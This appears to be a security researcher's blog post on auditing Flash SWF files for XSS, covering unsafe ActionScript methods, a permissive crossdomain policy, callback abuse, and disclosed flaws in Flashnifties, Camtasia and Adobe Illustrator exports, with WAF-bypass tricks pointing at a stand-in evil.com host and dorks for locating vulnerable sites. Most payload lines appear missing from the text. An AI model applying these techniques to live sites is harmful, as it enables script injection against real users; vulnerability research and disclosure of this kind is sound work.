Hey, this blog post will be covering different forms of vulnerabilities that can exist within SWF’s, and a basic explanation of how to go about auditing actionscript code in order to find these vulnerabilities. It will also contain a few zero-days that i’ve found using these methods.
Before I start, just an apology in advance as this has been sloppily written (even moreso than usual). I originally wrote this 5 months ago and it’s been sitting waiting to be published ever since (while I waited for the affected companies to patch their shit), in those 5 months i’ve came back here a few times and added/removed bits of info, so if it seems like i’m covering stuff in a pretty random manner or if it seems like I cover the same point a few times without realising, then that’s probably because I did.
While waiting for companies to patch before I posted this, I noticed a few similar posts covering flash vulnerabilities popped up. I figured it’s still worth posting this because unlike those posts, I’m not going too much into flash-based exploitation vectors but rather just giving a brief overview before presenting my own personal findings. These other posts that I saw haven’t really covered their personal findings in terms of actual vulnerabilities in the wild but rather their personal research regarding exploitation techniques. They are both very good posts though, highly informative and they will cover some of the concepts I touch upon here, but more in depth. The posts i’m referring to are Flash it baby (not a blog post, but rather slides from a talk) by irsdl and also Finding XSS vulnerabilities in Flash files by smiegles – both are definitely worth reading.
When testing in the wild, I think these are a very good thing to look into. These vulnerabilities are generally pretty easy to find, and many big sites appear to be vulnerable. Although flash is a dying technology, you should take into account the fact that it is still enabled by default within Google Chrome (the most popular browser) therefore a lot of people can potentially be affected by a flash XSS.
Within a week of testing via these methods, I identified vulnerabilities in Microsoft, Bank of America, Dell, HP, Oracle, Intel, Forex, NASDAQ, JPMorgan Chase, NASA, Samsung, Sony, Kodak, Adobe, CNN, Washington Post, US DoD/Army/Navy/Marines/Airforce, United Nations, whitehouse.gov, norad.mil, java.net and more using these methods.
List of unsafe methods in actionscript:
loadVariables() navigateToURL() getURL() getURLBlankVar() getURLParentVar() getURLJSParam() loadMovie() loadMovieVar() loadMovieNum() FScrollPane.loadScrollContent() LoadVars.load LoadVars.send XML.load ( 'url' ) XML.sendAndLoad ( 'url' ) LoadVars.load ( 'url' ) LoadVars.send ( 'url' ) Sound.loadSound( 'url' , isStreaming ); NetStream.play( 'url' ); flash.external.ExternalInterface.call(_root.callback) externalInterface.addCallback htmlText htmlVar loadClip AddDLL
I’m sure there’s more, but these are some of the most common ones. I won’t be going in depth on how to exploit all of these (a lot of these are similar), but rather a brief explanation of the different methods for each main kind of vulnerability. Do not expect me to go too much in depth here, I am just covering the bare basics for each of the common methods and related concepts, before moving onto my own findings.
Crossdomain policies are a set of rules that determine which clients (such as flash player) can access data across multiple domains. For a full explanation of how crossdomain policies work, you can read the specification here
Here is an example crossdomain policy:
For some of the methods i’m about to describe, you’ll need your crossdomain policy to look something like this:
|<!DOCTYPE cross-domain-policy SYSTEM “http://www.adobe.com/xml/dtds/cross-domain-policy.dtd”>|
|<allow-access-from domain=”*” secure=”false“/>|
|<allow-http-request-headers-from domain=”*” headers=”*” secure=”false“/>|
I’ll explain why this is useful for exploitation soon, but first i’m going to cover some more traditional XSS that flash can be susceptible to.
Whitebox approach to SWF analysis:
SWF files can be easily decompiled, meaning that with some basic actionscript knowledge it is always possible to perform a whitebox code audit on the SWF. There are many free tools available for SWF decompilation, but if you’re a Linux user then Flare would be my recommendation due to its simplicity and the fact that it is far more lightweight than most other flash decompilers.
To save the raw SWF there are a few options, you can either get the direct link and wget it to your box (if its a HTML page then you’ll need to view the page source and CTRL + F for the SWF, it will be stored within an or <object> tag – it is also worth doing this anyway even with a blackbox approach so you can see any associated flashvars and what the status of allowScriptAccess is set to) or you can use your browser and select the ‘save page as’ (CTRL+S) option which will save the SWF for you.
Once decompiled, it will be generally saved in .fla format (or .flr if you’re using flare), you can then open it with a text editor and perform analysis of the source code in order to hunt for potential vulnerabilities (by checking for functions that could be vulnerable + checking for undefined flashvars and just getting a general understanding of the code flow)
One thing that flare lacks is the ability to mass decompile a bunch of swf’s, which is a little annoying because you have to write up a quick bash script to automate this when it should be included functionality anyway. The ability to mass decompile helps save time because you can just decompile all swf’s within a dir and then grep the contents of them for potentially vulnerable functions, resulting in less time spent auditing code that has no chance of being vuln.
I wrote FlashFuzzr, a simple tool written in C to help aid with both blackbox + whitebox testing of SWF’s – it is configured to work with flare but supports mass compilation (you supply the directory as input rather than individual files) and it is also useful for performing a quick blackbox test before digging deeper into the source via whitebox, you just give it a user supplied URL and it begins to fire a bunch of vectors. It has a simple text-based interface and is designed to run on linux:
Flashvars + Undefined variables explanation:
Flashvars are variables that can take user-supplied input for the flash application for use within the application. Generally they are initialized within HTML via embed/object like so
〈embed src="lol.swf" width="1337" height="1337" FlashVars="param=something¶m2=somethingelse¶m3=lol"〉
Within ActionScript3 a developer needs to assign their flashvars to local variables, but within ActionScript2, any global variable that is not initialized is automatically assumed to be a flashvar and treated as such. This means that if you find a global variable that has not been explicitly defined within the source that you’re auditing, then you can assign your own values to that variable by calling it via GET like you would with a flashvar. Depending on the context in which this variable is meant used within the program, this may or may not lead to a multitude of vulnerabilities.
You can check for global variables by looking for strings preceeded with any of the following:
If any of those are declared but not defined, then there is a good chance of a potential vulnerability being present.
getURL() / NavigateToURL() :
Also somewhat unrelated, and probably already known by most who have had a quick look at OWASP, but actionscript can be used to obfuscate XSS vectors in the following manner:
its a good thing to always remember, and it has helped me out for sure with bypasses on a few occasions!
This function can be abused for callback functionality – for those who may not be familiar with exploiting callback functionality in actionscript, let me give an example in another language that people may be more familiar with.
Within PHP, PRCE functions can be abused for callback functionality, allowing you to call phpinfo(); to disclose the uname output, php version, etc etc. The most common example of this would be preg_replace(); with the /e modifier active. Actionscript can be vulnerable to something similar (except you’re obviously not calling phpinfo();) – externalInterface.call takes two arguments – the name of the JS function to call, and the string to pass to that function. In the case of externalInterface.call, callback functionality can be abused in order to trigger an XSS.
a typical vector used for exploiting externalInterface.call for XSS would look something like this:
although in some cases, a simple alert`0` (with template strings) or \’);alert(document.domain); will suffice. Some examples of externalInterface.call being exploited for XSS can be seen with the plupload/swfupload XSS, example, such as like this:
another (more recent) example of XSS via externalInterface.call would be the flashmediaelement.swf that the guys from cure53 recently released, you can read a detailed write-up here – It should also be noted that this vulnerability isn’t exclusive to wordpress. Here is an example:
HTML injection / Callback functionality via textfield objects:
In older versions of flash player you could trigger xss via the src= attrib for <img> by bypassing flash’s internal filter through means of appending an swf extension to your payload, like so:
it is also possible to set the src attrib of the image to a malicious SWF designed to trigger a js alert.
You can also use the <a> tag to exploit callback functionality by calling both swf public functions and native static asfunctions like so (to circumvent crossdomain policies in this example):
asfunction can be used to achieve XSS also, by calling a native function such as getURL like so:
Injecting HTML/JS Via CDATA:
<![CDATA[<h1>My HTML content</h1>]]>
Loading Malicious XML Files:
In order to exploit this you need your XML file to conform to their style (so its best to have a copy of the XML file they are using to base your payload off of) and you’ll also need a correctly configured crossdomain policy on your site.
One often overlooked aspect when testing flash applications for bugs is packet analysis. Although this is obviously not specific to flash, I always play around with it when testing flash applications as due to their interactive nature (web-based games etc) you will generally find results by playing around with packets sent to and from the application.
It is a very good idea to fire up wireshark and see which packets are sent when you make different actions, and what modifying those packets can do (you can also achieve some very nice things with packet-based filters). I’ve found all kinds of crazy bugs in the past via methods like this (such as being able to spawn unlimited in-game currently, having the ability to send a flash based chatbox “back in time” repeatedly, etc).
I think for me to go in detail about this I will need to make a blog post specifically for this. I will get around to that sometime because there are some very interesting techniques here.
Below, I will list a few zeroday exploits identified using the methods detailed above.
Flashnifties XML Slideshow XSS:
This is a trivial to exploit vulnerability for Flashnifties XML Slideshow which allows an attacker to trigger XSS and also perform content forgery via a malicious XML file. Considering these devs refer to themselves as developers of “professional flash tools” i’d figure they’d at least have SOME kind of protections in place.. but nope. Any random kid could find and exploit this with ease.
To exploit this, an attacker needs to supply their own malicious XML file (via the file param i.e. slideshow.swf?file=HERE), lets take a look at an example XML file for flashnifties:
|<?xml version=”1.0″ encoding=”iso-8859-1″?>|
|<image img=”/Images/Backgrounds/01.jpg” caption=”” />|
|<image img=”/Images/Backgrounds/02.jpg” caption=”” />|
|<image img=”/Images/Backgrounds/03.jpg” caption=”” />|
|<image img=”/Images/Backgrounds/04.jpg” caption=”” />|
|<image img=”/Images/Backgrounds/05.jpg” caption=”” />|
|<image img=”/Images/Backgrounds/06.jpg” caption=”” />|
Here is what an example payload from an attacker would look like:
Also, a FAR more dangerous vulnerability can be triggered in a similar manner.. I’ve decided to not publicize this one because that’d be mean (although I was tempted, received no response from the vendors of this software when I originally reported it). I’m sure some people reading this blog should be able to figure it out for themselves easily though.
Camtasia Studio + Camstudio: XSS + XSF / Content Forgery:
In some cases there will be filtering involved, but it is generally pretty trivial to circumvent. I’ve seen a few cases of this where ‘http(s)’ triggers a WAF response and gives you a HTTP 403 – in which case you can bypass with simple url redirection tricks such as csConfigFile=//evil.com/evil.xml or csConfigfile=/\/\evil.com/evil.xml. In the case of Microsoft.com they disallowed an IP address to be used as the input for the vulnerable param, this can be bypassed by simply registering a domain. One final method i’ve seen that has presumably been self-imposed by admins attempting to circumvent this is the blacklisting of XML extensions if supplied via GET with an unrecognised host as part of the param.. I shouldn’t have to point out how stupid this is, you can just either save the XML file without an extension (and it will still be valid) or you can just modify .htaccess to 302 redirect to the XML file from a file with a non-blacklisted extension on your server.
Here is a live example:
Adobe Illustrator XSS:
This final 0day is an XSS vulnerability affecting certain features of Adobe Illustrator (particularly their “export to SWF” feature) – some big sites are affected including the United Nations and the World’s largest stock exchange. There isn’t a specific google dork for this because there are many different instances of it, but some of the following dorks can work:
If there’s a world map (or a map of a specific continent) then you’ve found the right thing. A remote XML file is supplied via the data_file= flashvar, and there are no checks on whether its from a valid source or not.
The example XML file is too large to include here, but it can be found here – exploitation is simple, just replace all instances of <url>data</url> with:
then click anywhere on the page for the alert to trigger — of course you need a correctly configured crossdomain policy for this to work like with the previous examples.
Using these methods to find generic vulns:
Of course, these bugs are not limited to specific commercial software, but also custom flash applications that careless developers may have created and hosted online, you can usually narrow down the search for these bugs with a google dork such as:
Below is an example of a vuln identified in adobe using these methods (I figured adobe is a good option since they’re the people who created flash, so a flash vuln on their site would be kinda ironic):
The google dork listed above could uncover this.
Here is the vulnerable URL:
This is a combination of a few of the methods listed above, so it would be a good starting point to practise for a beginner who has just read this blog (to see if you can properly configure your crossdomain policy and understand how CDATA works etc).
Here is the payload (WAF bypass was required):
For practise maybe you can use this and alter some of the values in your XML file to play around with the content forgery too (to see how you could potentially use this for content forgery) – try setting up your own payload + crossdomain policy and see if you can trigger the alert
Hopefully some people can use these methods to find their own flash bugs, that’s all for now. Hope you enjoyed.